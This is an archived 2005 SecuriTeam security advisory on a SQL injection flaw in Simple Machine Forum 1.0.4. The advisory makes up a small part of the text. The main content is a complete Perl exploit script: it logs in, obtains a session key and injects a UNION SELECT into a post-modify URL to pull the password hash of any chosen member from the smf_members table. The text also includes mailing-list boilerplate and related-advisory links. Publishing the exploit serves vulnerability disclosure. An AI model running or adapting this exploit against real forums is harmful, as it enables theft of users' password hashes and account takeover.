[EXPL] Simple Machine Forum SQL Injection (modify)

From: SecuriTeam (support_at_securiteam.com)
Date: 06/23/05

  • Next message: SecuriTeam: "[NEWS] Lotus Domino Buffer Overflow (Time/Date Field)"
    To: list@securiteam.com
    Date: 23 Jun 2005 12:43:21 +0200
    
    

    The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
    - - promotion

    The SecuriTeam alerts list - Free, Accurate, Independent.

    Get your security news from a reliable source.
    http://www.securiteam.com/mailinglist.html

    - - - - - - - - -

      Simple Machine Forum SQL Injection (modify)
    ------------------------------------------------------------------------

    SUMMARY

    " <http://www.simplemachines.org/> Simple Machine Forum is a
    next-generation community software package and is jam-packed with
    features, while at the same time having a minimal impact on resources."

    SQL Injection vulnerability discovered in Simple Machine Forum allows
    remote attackers to inject arbitrary SQL statements, the following exploit
    code will retrieve the password has of the user ID of the attacker's
    choosing.

    DETAILS

    Vulnerable Systems:
     * Simple Machine Forum version 1.0.4

    Exploit:
    #!/usr/bin/perl -w
    ########################################
    # SMF Modify SQL Injection // All Versions // By James
    http://www.gulftech.org #
    ########################################
    # Simple proof of concept for the modify post SQL Injection issue I
    discovered #
    # in Simple Machine Forums. Supply this script with your username password
    and #
    # the complete url to a post you made, and have permission to edit.
    06/19/2005 #
    ########################################

    use LWP::UserAgent;

    if ( !$ARGV[3] )
    {
            print "Usage: smf.pl user pass target_uid modify_url\n";
            exit;
    }

    print "##########################\n";
    print "# Simple Machine Forums Modify Post SQL Injection #\n";
    print "##########################\n";

    my $user = $ARGV[0]; # your username
    my $pass = $ARGV[1]; # your password
    my $grab = $ARGV[2]; # the id of the target account
    my $post = $ARGV[3]; # the entire url to modify a post you made
    my $dump = '%20UNION%20SELECT%20memberName,0,passwd," .
    "0,0%20FROM%20smf_members%20WHERE%20ID_MEMBER=' . $grab . '/*';
       $post =~ s/msg=([0-9]{1,10})/msg=$1$dump/;
    my $path = ( $post =~ /^(.*)\/index\.php/) ? $1: die("[!] The post url you
    entered seems invalid!\n");

    my $ua = new LWP::UserAgent;
       $ua->agent("SMF Hash Grabber v1.0" . $ua->agent);

    $ua->cookie_jar({});

    print "[*] Trying $path ...\n";

    my $req = new HTTP::Request POST => $path . "/index.php?action=login2";
       $req->content_type('application/x-www-form-urlencoded');
       $req->content('user=' . $user . '&passwrd=' . $pass .
    '&cookielength=-1');
    my $res = $ua->request($req);

    print "[*] Logging In ...\n";

    # When a correct login is made, a redirect is issued, and no
    # text/html is sent to the browser really. We put 1024 to be
    # safe. This part can be altered in case of modded installs!
    if ( length($res->content) < 1024 )
    {
            print "[+] Successfully logged in as $user \n";
            my $sid = $ua->get($path .
    '/index.php?action=profile;sa=account');

            # We get our current session id to be used
            print "[*] Trying To Get Valid Sesc ID \n";
            if ( $sid->content =~ /sesc=([a-f0-9]{32})/ )
            {
                    # Replace the old session parameter with the
                    # new one so we do not get an access denied!
                    my $sesc = $1;
                       $post =~ s/sesc=([a-f0-9]{32})/sesc=$sesc/;

                    print "[+] Valid Sesc Id : $sesc\n";
                    print "[*] Trying to get password hash ...\n";

                    my $pwn = $ua->get($post);
                    if ( $pwn->content =~ />([a-z0-9]{32})<\//i )
                    {
                            print "[+] Got the password hash!\n";
                            print "[+] Password Hash : $1\n";
                    }
                    else
                    {
                            print "[!] Exploit Failed! Try manually verifying
    the vulnerability \n";
                    }
            }
            else
            {
                    print '[!] Unable to obtain a valid sesc key!!';
                    exit;
            }
    }
    else
    {
            print '[!] There seemed to be a problem logging you in!';
            exit;
    }

    ADDITIONAL INFORMATION

    The information has been provided by James.
    The original article can be found at: <http://www.gulftech.org>
    http://www.gulftech.org

    ========================================

    This bulletin is sent to members of the SecuriTeam mailing list.
    To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
    In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

    ====================
    ====================

    DISCLAIMER:
    The information in this bulletin is provided "AS IS" without warranty of any kind.
    In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.


  • Next message: SecuriTeam: "[NEWS] Lotus Domino Buffer Overflow (Time/Date Field)"

    Relevant Pages

    • [UNIX] Protector System Multiple Vulnerabilities
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... Several classes of vulnerabilities have been found in Protector. ... cross-site scripting and SQL injection attacks. ...
      (Securiteam)
    • [UNIX] PhotoPost PHP Pro Multiple Vulnerabilities
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... PhotoPost PHP Pro suffers from multiple SQL injection, ... There are plenty of SQL injection vulnerabilities in PhotoPost PHP Pro. ...
      (Securiteam)
    • [REVS] Advanced Topics on SQL Injection Protection
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... SQL injection is now one of the most common attacks in the Internet. ... Static query statement - Development Phrase ... Some programmers may think escaping apostrophe with two apostrophes (and ...
      (Securiteam)
    • [UNIX] PHPNuke Multiple Vulnerabilities in Search Module
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... cross-site scripting and SQL injections located throughout the ... The vulnerability exists in the ... The first SQL injection vulnerability is a non-critical one in the ...
      (Securiteam)
    • [UNIX] PHP-Nuke Blind SQL Injection (Download Module)
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... Several blind SQL injection vulnerabilities were discovered in PHP-Nuke. ...
      (Securiteam)